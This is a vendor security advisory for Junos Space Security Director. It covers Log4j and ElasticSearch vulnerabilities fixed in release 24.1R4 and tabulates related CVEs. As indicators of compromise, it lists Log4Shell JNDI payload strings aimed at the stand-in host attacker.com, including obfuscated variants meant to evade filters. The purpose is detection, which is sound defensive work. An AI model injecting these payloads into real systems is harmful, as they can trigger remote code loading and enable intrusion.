Article Detail

Product Affected

This issue affects Junos Space Security Director all versions before 24.1R4.

Severity

Medium

Severity Assessment (CVSS) Score

CVSS: v3.1: 5 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N)
CVSS: v4.0: 5.3 (CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/AU:Y/R:A/V:C/RE:M/U:Amber)

Problem

Multiple vulnerabilities in the Log4j Java library and ElasticSearch component as used in Junos Space Security Director have been fixed by upgrading Log4J from version 2.11.1 to 2.23.1 and ElasticSearch from version 6.5.4 to 6.8.17.

An indicator of compromise could include the presence of common payloads or obfuscated payloads associated with a known Log4j exploit in the ElasticSearch logs. Example of such a payloads are:

${jndi:protocol://attacker.com/path}

Obfuscation techniques in logs could also include:

${jndi:ldap://${lower:a}ttacker.com/payload}
${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://attacker.com/payload}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://attacker.com/payload

And attackers may try to use other protocols, which could appear in logs, for example:

${jndi:rmi://attacker.com/payload}
${jndi:dns://attacker.com/payload}

All of these are illustrative cases; other payload formats or exploit variants may also exist.

These issues affect Junos Space Security Director:

All versions before 24.1R4.

Juniper SIRT is not aware of any malicious exploitation of these vulnerabilities.

These issues were seen during production usage.

Important security issues resolved include:

CVE	CVSS	Summary
CVE-2021-44228	5.0 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N 5.3 CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/AU:Y/R:A/V:C/RE:M/U:Green	Apache Log4J2 as used by Junos Space Security Director is partially affected by the vulnerability described in CVE-2021-44228. Apache Log4j2 2.0-beta9 through 2.15.0 (excluding security releases 2.12.2, 2.12.3, and 2.3.1) JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. A low-privileged, authenticated, network-based attacker who can control log messages or log message parameters cannot execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled. Instead, the threat actor can cause non-specific non-secret, non-sensitive, already public information to be disclosed. From log4j 2.15.0, this behavior has been disabled by default. From version 2.16.0 (along with 2.12.2, 2.12.3, and 2.3.1), this functionality has been completely removed. Note that this vulnerability is specific to log4j-core and does not affect log4net, log4cxx, or other Apache Logging Services projects.
CVE-2021-4104	0.0 CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:N	JMSAppender in Log4j 1.2 as used by Junos Space Security Director is unaffected by this issue and resolved in investigation. JMSAppender in Log4j 1.2 has a deserialization of untrusted data when the attacker has write access to the Log4j configuration. The attacker can provide TopicBindingName and TopicConnectionFactoryBindingName configurations causing JMSAppender to perform JNDI requests that result in remote code execution in a similar fashion to CVE-2021-44228. Note this issue only affects Log4j 1.2 when specifically configured to use JMSAppender, which is not the default. Apache Log4j 1.2 reached end of life in August 2015. Users should upgrade to Log4j 2 as it addresses numerous other issues from the previous versions.
CVE-2021-42550	0.0 CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H	Logback as used by Junos Space Security Director is unaffected by this issue and resolved in investigation. In logback version 1.2.7 and prior versions, an attacker with the required privileges to edit configurations files could craft a malicious configuration allowing to execute arbitrary code loaded from LDAP servers.
CVE-2021-44832	0.0 CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:N	Apache Log4j2 as used by Junos Space Security Director is unaffected by this issue and resolved in investigation. Apache Log4j2 versions 2.0-beta7 through 2.17.0 (excluding security fix releases 2.3.2 and 2.12.4) are vulnerable to a remote code execution (RCE) attack when a configuration uses a JDBC Appender with a JNDI LDAP data source URI when an attacker has control of the target LDAP server. This issue is fixed by limiting JNDI data source names to the java protocol in Log4j2 versions 2.17.1, 2.12.4, and 2.3.2.
CVE-2021-45046	0.0 CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:N/I:N/A:N	Apache Log4j2 as used by Junos Space Security Director is unaffected by this issue and resolved in investigation. It was found that the fix to address CVE-2021-44228 in Apache Log4j 2.15.0 was incomplete in certain non-default configurations. This could allows attackers with control over Thread Context Map (MDC) input data when the logging configuration uses a non-default Pattern Layout with either a Context Lookup (for example, $${ctx:loginId}) or a Thread Context Map pattern (%X, %mdc, or %MDC) to craft malicious input data using a JNDI Lookup pattern resulting in an information leak and remote code execution in some environments and local code execution in all environments. Log4j 2.16.0 (Java 8) and 2.12.2 (Java 7) fix this issue by removing support for message lookup patterns and disabling JNDI functionality by default.
CVE-2021-45105	0.0 CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:N	Apache Log4j2 as used by Junos Space Security Director is unaffected by this issue and resolved in investigation. Apache Log4j2 versions 2.0-alpha1 through 2.16.0 (excluding 2.12.3 and 2.3.1) did not protect from uncontrolled recursion from self-referential lookups. This allows an attacker with control over Thread Context Map data to cause a denial of service when a crafted string is interpreted. This issue was fixed in Log4j 2.17.0, 2.12.3, and 2.3.1.
CVE-2015-1427	0.0 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N	Elasticsearch as used by Junos Space Security Director is unaffected by this issue and resolved in investigation. The Groovy scripting engine in Elasticsearch before 1.3.8 and 1.4.x before 1.4.3 allows remote attackers to bypass the sandbox protection mechanism and execute arbitrary shell commands via a crafted script.
CVE-2015-5377	0.0 CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H	Elasticsearch as used by Junos Space Security Director is unaffected by this issue and resolved in investigation. Elasticsearch as used by Junos Space Security Director is unaffected by this issue and resolved in investigation. Elasticsearch before 1.6.1 allows remote attackers to execute arbitrary code via unspecified vectors involving the transport protocol. NOTE: ZDI appears to claim that CVE-2015-3253 and CVE-2015-5377 are the same vulnerability
CVE-2018-17244	0.0 CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N	Elasticsearch as used by Junos Space Security Director is unaffected by this issue and resolved in investigation. Elasticsearch Security versions 6.4.0 to 6.4.2 contain an error in the way request headers are applied to requests when using the Active Directory, LDAP, Native, or File realms. A request may receive headers intended for another request if the same username is being authenticated concurrently; when used with run as, this can result in the request running as the incorrect user. This could allow a user to access information that they should not have access to.
CVE-2018-17247	0.0 CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N	Elasticsearch as used by Junos Space Security Director is unaffected by this issue and resolved in investigation. Elasticsearch Security versions 6.5.0 and 6.5.1 contain an XXE flaw in Machine Learning's find_file_structure API. If a policy allowing external network access has been added to Elasticsearch's Java Security Manager then an attacker could send a specially crafted request capable of leaking content of local files on the Elasticsearch node. This could allow a user to access information that they should not have access to.
CVE-2018-3823	0.0 CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N	X-Pack Machine Learning as used by Junos Space Security Director is unaffected by this issue and resolved in investigation. X-Pack Machine Learning versions before 6.2.4 and 5.6.9 had a cross-site scripting (XSS) vulnerability. Users with manage_ml permissions could create jobs containing malicious data as part of their configuration that could allow the attacker to obtain sensitive information from or perform destructive actions on behalf of other ML users viewing the results of the jobs.
CVE-2018-3824	0.0 CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N	X-Pack Machine Learning as used by Junos Space Security Director is unaffected by this issue and resolved in investigation. X-Pack Machine Learning versions before 6.2.4 and 5.6.9 had a cross-site scripting (XSS) vulnerability. If an attacker is able to inject data into an index that has a ML job running against it, then when another user views the results of the ML job it could allow the attacker to obtain sensitive information from or perform destructive actions on behalf of that other ML user.
CVE-2018-3826	0.0 CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N	Elasticsearch as used by Junos Space Security Director is unaffected by this issue and resolved in investigation. In Elasticsearch versions 6.0.0-beta1 to 6.2.4 a disclosure flaw was found in the _snapshot API. When the access_key and security_key parameters are set using the _snapshot API they can be exposed as plain text by users able to query the _snapshot API.
CVE-2018-3831	0.0 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H	Elasticsearch as used by Junos Space Security Director is unaffected by this issue and resolved in investigation. Elasticsearch Alerting and Monitoring in versions before 6.4.1 or 5.6.12 have an information disclosure issue when secrets are configured via the API. The Elasticsearch _cluster/settings API, when queried, could leak sensitive configuration information such as passwords, tokens, or usernames. This could allow an authenticated Elasticsearch user to improperly view these details.
CVE-2021-22146	0.0 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N	Elastic Cloud Enterprise is unused by Junos Space Security Director and is unaffected by this issue and resolved in investigation. All versions of Elastic Cloud Enterprise has the Elasticsearch “anonymous” user enabled by default in deployed clusters. While in the default setting the anonymous user has no permissions and is unable to successfully query any Elasticsearch APIs, an attacker could leverage the anonymous user to gain insight into certain details of a deployed cluster.

Solution

The following software releases have been updated to resolve this specific issue:

Junos Space Security Director 24.1R4, and all subsequent releases.

This issue is being tracked as 1829067 which is visible on the Customer Support website.

Note: Juniper SIRT's policy is not to evaluate releases which are beyond End of Engineering (EOE) or End of Life (EOL).

Workaround

There are no known workarounds for these issues.
To reduce the risk of exploitation, enable access control lists (ACLs) and other filtering mechanisms to limit access to the device only from trusted users, hosts and networks.

Severity Assessment

Information for how Juniper Networks uses CVSS can be found at KB 16446 [juniper.net], "Common Vulnerability Scoring System (CVSS) and Juniper's Security Advisories."

Modification History